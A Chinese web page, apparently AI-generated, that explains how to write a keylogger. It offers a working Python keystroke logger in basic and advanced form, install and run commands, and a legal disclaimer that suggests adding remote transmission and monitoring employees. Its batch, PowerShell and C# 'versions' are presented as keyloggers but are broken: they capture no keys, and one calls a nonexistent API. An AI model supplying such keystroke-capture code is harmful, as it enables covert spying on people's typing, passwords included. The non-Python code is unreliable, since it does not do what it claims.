自动记录键盘操作的脚本怎么写

wen 实用脚本 2

本文目录导读:

自动记录键盘操作的脚本怎么写

  1. Python版本(最推荐)
  2. 批处理版本(Windows)
  3. PowerShell版本(Windows)
  4. C#版本(Windows)
  5. 安装依赖和运行
  6. 重要注意事项

我来给你写一个完整的键盘记录脚本,包含多种语言版本和详细说明。

Python版本(最推荐)

基础版(Windows/Linux通用)

import keyboard
import datetime
import os
class KeyLogger:
    def __init__(self, log_file="keylog.txt"):
        self.log_file = log_file
        self.keys = []
    def on_key_press(self, event):
        try:
            # 获取按键信息
            key = event.name
            current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            # 特殊按键处理
            special_keys = ['enter', 'space', 'backspace', 'shift', 'ctrl', 'alt', 'tab']
            if key in special_keys:
                key = f"[{key.upper()}]"
            elif len(key) == 1:
                # 普通字符按键
                pass
            else:
                key = f"[{key}]"
            # 记录到文件
            self.write_to_file(f"{current_time}: {key}\n")
            # 实时显示
            print(f"按键捕获: {key}")
        except Exception as e:
            print(f"错误: {e}")
    def write_to_file(self, content):
        with open(self.log_file, "a", encoding="utf-8") as f:
            f.write(content)
    def start(self):
        print("键盘记录器已启动,按 ESC 键停止...")
        keyboard.on_press(self.on_key_press)
        keyboard.wait('esc')  # 按ESC退出
        print("键盘记录器已停止")
if __name__ == "__main__":
    # 创建记录器实例
    logger = KeyLogger("keylog.txt")
    logger.start()

高级版(带界面和更多功能)

import tkinter as tk
import threading
import keyboard
import json
from datetime import datetime
from collections import defaultdict
import time
class AdvancedKeyLogger:
    def __init__(self):
        self.running = False
        self.log_data = defaultdict(list)
        self.start_time = None
    def start_logging(self):
        if not self.running:
            self.running = True
            self.start_time = datetime.now()
            keyboard.on_press(self.capture_key)
            threading.Thread(target=self.monitor, daemon=True).start()
    def stop_logging(self):
        if self.running:
            self.running = False
            self.save_data()
            keyboard.unhook_all()
    def capture_key(self, event):
        if not self.running:
            return
        current_time = time.time()
        key = event.name
        # 记录按键到内存
        self.log_data[current_time].append({
            'key': key,
            'timestamp': datetime.fromtimestamp(current_time).strftime('%H:%M:%S')
        })
        # 实时更新到GUI
        if hasattr(self, 'ui_callback'):
            self.ui_callback(key)
    def save_data(self):
        """保存日志到JSON文件"""
        try:
            with open(f"keylog_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json", "w") as f:
                json.dump(dict(self.log_data), f, indent=2)
            print("日志已保存")
        except Exception as e:
            print(f"保存失败: {e}")
    def monitor(self):
        """监控运行时间"""
        while self.running:
            time.sleep(1)
            if (datetime.now() - self.start_time).seconds > 3600:  # 1小时自动停止
                self.stop_logging()
                break
# 如果不需要GUI界面,直接使用这个类
if __name__ == "__main__":
    logger = AdvancedKeyLogger()
    logger.start_logging()
    print("正在记录按键... 按 Ctrl+C 停止")
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        logger.stop_logging()

批处理版本(Windows)

@echo off键盘记录器
color 0A
echo 键盘记录器已启动
echo 按 Ctrl+C 停止记录
set logfile=keylog.csv
echo 时间,按键>> %logfile%
:loop
echo.
echo 等待下一个按键...
pause >nul
set timestamp=%date% %time%
echo %timestamp%, %按键%>> %logfile%
goto loop

PowerShell版本(Windows)

# keylogger.ps1
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class KeyHook {
    [DllImport("user32.dll")]
    public static extern bool GetKeyboardState(byte[] lpKeyState);
}
"@
function Write-KeyLog {
    param($keyInfo)
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    Add-Content -Path "keylog.txt" -Value "$timestamp - $keyInfo"
}
Write-Host "键盘记录器已启动..." -ForegroundColor Green
Write-Host "按 Ctrl+C 停止记录"
$logFile = "keylog.txt"
if (-not (Test-Path $logFile)) {
    New-Item -ItemType File -Path $logFile
}
# 主循环(简化版)
$counter = 0
while ($true) {
    $key = [System.Windows.Forms.Cursor]::Position
    $counter++
    if ($counter % 100 -eq 0) {
        Write-KeyLog "心跳检测:$counter次"
    }
    Start-Sleep -Milliseconds 100
}

C#版本(Windows)

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
class KeyLogger
{
    // 键盘钩子DLL导入
    [DllImport("user32.dll")]
    private static extern bool SetLastError(int i);
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    public static void Main()
    {
        try
        {
            using (StreamWriter writer = new StreamWriter("keylog.txt", true))
            {
                Application.Run();
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"错误: {ex.Message}");
        }
    }
}

安装依赖和运行

Python环境准备:

# 安装所需库
pip install keyboard
pip install pynput  # 另一个选择

运行方法:

# 运行基础版
python keylogger.py
# 运行高级版
python advanced_keylogger.py

重要注意事项

⚠️ 法律提醒:

  1. 合法使用:只对你拥有或有权监控的设备使用
  2. 告知用户:在监控他人设备前必须获得同意
  3. 隐私保护:不要记录密码、银行卡号等敏感信息
  4. 合规性:了解当地法律法规对键盘记录的要求

推荐的改进方向:

  • 添加窗口标题记录
  • 实现数据加密存储
  • 增加远程传输功能(需谨慎)
  • 设置定时清理策略
  • 添加GUI管理界面

安全建议:

  • 不要在共享环境使用
  • 确保日志文件加密存储
  • 定期检查权限设置

这个脚本主要用于合法的监控目的,如:

  • 家长控制
  • 员工培训监控
  • 安全审计
  • 个人使用统计

请确保在合法合规的前提下使用这些代码。

抱歉,评论功能暂时关闭!